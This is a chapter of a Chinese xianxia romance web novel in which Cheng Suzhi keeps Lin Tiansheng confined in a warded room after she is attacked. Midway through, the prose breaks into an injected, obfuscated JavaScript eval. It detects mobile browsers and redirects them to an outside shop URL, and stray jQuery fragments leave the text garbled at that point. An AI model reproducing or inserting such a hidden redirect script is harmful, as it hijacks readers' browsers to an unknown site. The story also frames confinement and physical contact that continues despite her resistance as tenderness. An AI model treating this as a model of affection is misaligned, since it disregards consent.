程家。
某处不起眼的角落,两名旁支子弟正窃窃低语。
“真假,你亲眼看见了?”其中一人环顾周围,低声道,“少家主竟真拔剑对准家主,还将程家玉牌扔在家主脸上,说要同程家断绝关系?”
“千真万确!少家主还说什么‘若父亲糊涂,孩儿不介意帮父亲管教一番手下’,这哪里是普通置气,分明是根本没把家主当回事。”另一人边回想边道:“少家主离开前还向家主讨要了个名单,不清楚有何用。”
一想起少家主走时,那一脸的寒气,还有干涸的血迹,跟地下爬来的恶鬼似的,那人不由得打了个寒颤,低头虚声道:“刚刚那些话,你可别对其他人说,我还没见过少家主那般模样,真是渗得慌。”
*
迷迷糊糊从睡梦中醒来,林天生脑子有点懵,她习惯性喊一声程溯之,却被自己嘶哑得不行的声音吓了一跳。
意识回笼,嗓子的刺痛感也变得明显起来,她这才惊觉自己躺着的这张床貌似有些陌生。
她记得晕倒前,程溯之亲完她额头便出门采办食材去了,才走一段时间,家里便闯入几个黑衣蒙面人,一人掐着她脖子将她提起来,另一人则用一小瓶子对着她捏决。
骤然间,一股大力粗暴拉扯她,像是要将她整个神魂从里往外扯去,而身体却一点点失去知觉,视线也逐渐模糊,直到意识全无。
再醒来就到这个陌生地方了。
林天生掐了下自己的脸,疼的,有知觉,说明人还活着,她顿时松了口气,从床上坐直身,打量起周围。
她所在的房间很大,窗都紧闭着,但不知用的哪种材质,外边的光线能透进来,整个屋子都很敞亮。
比较奇怪的是墙壁,密密麻麻的纹理,林天生凑近观察,猜想可能是某种阵纹,她唤不出破茧也许就和这阵纹有关。她尝试去推门,但纹丝不动,兴许是从外边动了什么手脚,窗户也一样。
她大概是被那群贼人关起来了,就是一时分不清这群贼人是好是坏,到底要她死还是要她活。
看着桌上摆的各种药瓶与食物,林天生忍着咽痛坐回床上,慢慢陷入沉思。
忽地,门外传来一阵急促的脚步声,来人貌似有些慌乱。
但林天生明显更慌,跟鲤鱼打挺似的一下钻进被窝,闭上眼打算装睡。
门被推开,秋风裹挟着花香涌起来,还有淡淡的皂荚香。
进门的瞬间,那人的脚步便放得极轻,林天生不知道对方何时走近的,只能通过那人身上的皂荚香判断。
奇怪,这群修仙的怎么都开始用皂荚叶洗澡了。
林天生闭着眼胡乱想着,眉间突如其来的痒意却打乱了她的思绪,她不敢动作,只能努力绷着脸保持原先的表情。
那股痒意从眉间滑至眼尾,再一点一点移至鼻梁,慢慢顺着往下,直到上唇。
温热的触感从唇上传来,来回摩挲,迟迟不移开。林天生绷着嘴,忍住了反咬一口的冲动。
她感觉到自己散乱在额间的头发被拨开,碎发被整理到耳后,停留几秒后,那只万恶的手开始揉捻她的耳垂。
林天生僵住,还是紧闭着眼,直到皂荚香几乎扑到脸上,她鼻尖的软骨被另一个柔软细腻的东西抵住,左右轻轻擦蹭,甚至唇上的皮肤还能感受到对方温热的鼻息。
呼吸纠缠,林天生心跳得极快,呼吸也跟着乱。
几秒后,触感消失,她以为安全了,耳边却听见一声低笑:
“师妹,你的睫毛一直在抖。”
靠!!
林天生猛地睁眼,与程溯之专注又温柔的视线撞在一起,两人相隔不过一拳的距离。
被熟人捉弄一番的恼意占据了大脑,林天生狠狠一头锤,抓起枕头便往程溯之身上砸,“程溯之!我跟你没、咳咳咳……”
她本想骂他有病,却被咽痛搞得话都说不完全,连说出口的话也像是从磨砂纸上滚过一圈似的,沙哑极了。
刚咳完,抬眼便见程溯之端着水递到她面前,下颚绷得紧紧的,眼里难得的笑意也消下去,取之而来的是紧张。
“还疼吗?”
林天生点头,又立马补充一句:“只是一点点。”
她小口小口抿着温水,不动声色地抬眼观察程溯之。不知道是不是错觉,总觉得她点头的瞬间,程溯之面色暗了好几分,貌似有些生气,但不知是对谁。
她怕是又给人添麻烦了。
林天生在心里叹了口气,无声拒绝程溯之伸过来的手,准备自己放水杯。
刚掀开被子,正要挪腿下床,一股大力将她横腰扑倒在床上。程溯之一手圈紧她的腰,一手捏住后颈,低头含/住她咽喉处,粗粝的舌面来回舔/舐,留下微凉的水/迹。
被弄得难受,林天生伸手去抵他的肩,却怎么也推不开。程溯之像感受不到抗拒似的,一昧舔/弄着她的脖颈中间。
密密麻麻的痒意汇聚到咽喉,林天生不受控地咳起来,却没有意想之中的疼痛。伏在她身上的那具沉重躯体仿佛也被咳嗽声唤回理智,停下了原先的动作。
几秒后,程溯之埋在她肩头,紧紧抱着她,声音颤抖:“别拒绝我……”
像是怕林天生说出难听的话,他拥得更紧了,尾音也带上哭腔,“求你。”
他抱得太紧,林天生有点难受。她看了看程溯之微微耸动的肩背,终究只是长叹一气,原本抵住他肩膀的手不知何时已经环至他后背,轻轻拍打,似是安慰。
“我并非此意,”过了许久,林天生尝试开口说话,发现喉咙当真不痛后便立即解释,“我只是觉得,放个杯子而已,这种小事何必麻烦你。”
“我情愿为师妹做这些,恨不得万事都代劳。”程溯之头抵住她肩头,闷闷道。
“师妹,”他抬起头,眼泪巴巴地望着她,“你用我吧……我是你的,自然该任你使唤。”
这怪异的用词听得林天生有些羞耻,但她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935435|209930||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
无暇去纠正,满脑子都是如何转移话题。
“咳咳,所以是你把我搬过来的?你有看到几个黑衣蒙面人吗,我脖子就是被他们掐的来着,我还以为要死了。”
她发觉在程溯之面前不能提‘死’这个字眼,一提到他便会控制不住收紧力气。
良久,程溯之回了一句:“他们去该去的地方了。”这会儿应该已经到阴曹地府了。
林天生“哦”了一声,又接连问了一连串的问题,问他要在这是哪儿,要待多久,什么时候能回去。程溯之一一耐心解答,唯独答到最后两个问题时有些含糊。
“师妹不喜欢这里吗?”
“也不是。”林天生看了一圈周围,又无聊拍了拍床,“就是不大习惯。”
程溯之也不直接回答具体几天,只低头说:“可能要忍耐一段日子。外头还有贼人的同伙,很危险。”
先不提原先的屋子被血溅了满墙,还没打扫,光是父亲交代的那些话,他也不可能让师妹出去。
一想到父亲一直打着师妹的主意,想用师妹滋补幻妖,程溯之便难掩戾气。
知晓师妹是千年难遇的天生残魂一事,还动了歪心思的,不管是人、还是妖怪,有一个算一个,他都要一个个揪出来。
程溯之都说危险,林天生知晓他是为自己好,自然也不会吵着要回去,依着程溯之的话选择窝在这个陌生的房间里。
白天夜里,林天生都很少会见到程溯之,他比在木屋那会儿忙得多,但吃饭时间一定在,会匆匆赶回来做饭。
她不知道对方到底在瞒着她搞什么大事,为数不多待在一起的时间,她总能闻到血锈味,看来看去又瞅不见伤口在哪。
她想问,程溯之要么一句“没什么”便将话题搪塞过去,要么就撩起衣袖,把手上小刮伤给她看,然后趁机卖可怜。林天生总觉得他没说实话,却不想深究。
谁还没个秘密呢,自己将死一事,她不也瞒着程溯之。
用完饭,程溯之收拾完又匆匆离去,一直到深夜不知哪个时辰才回来。
那会儿林天生都睡着了,程溯之老是小动作不断,还非要叫她名字,喊她师妹,或者生生,一直喊到她回应为止。
起初,林天生还会迷迷糊糊应一声,认真问一句“干嘛”,后来便干脆一拳头甩过去了。此人不仅不恼,还会把她连人带被抱着,然后埋头低低地笑。
笑完后,他又会轻声道一句:“我想确认你是不是还在。”
每到这时,林天生便会半睁着眼嘟囔一句:“有病找大夫去。”嘟囔完,她隐约听见程溯之回了好几句话,但太困了,她没听清便又熟睡过去。
关上门前,程溯之站立在门口,望了望床上那一坨规律起伏的团子许久,等夜风都凉了,才轻轻掩上门。
他从怀里掏出一个法器,瓶状,正是林天生晕倒前见到的那个,上边刻着‘摄魂’二字。
程溯之提步往某方向走去,面上一片寒意。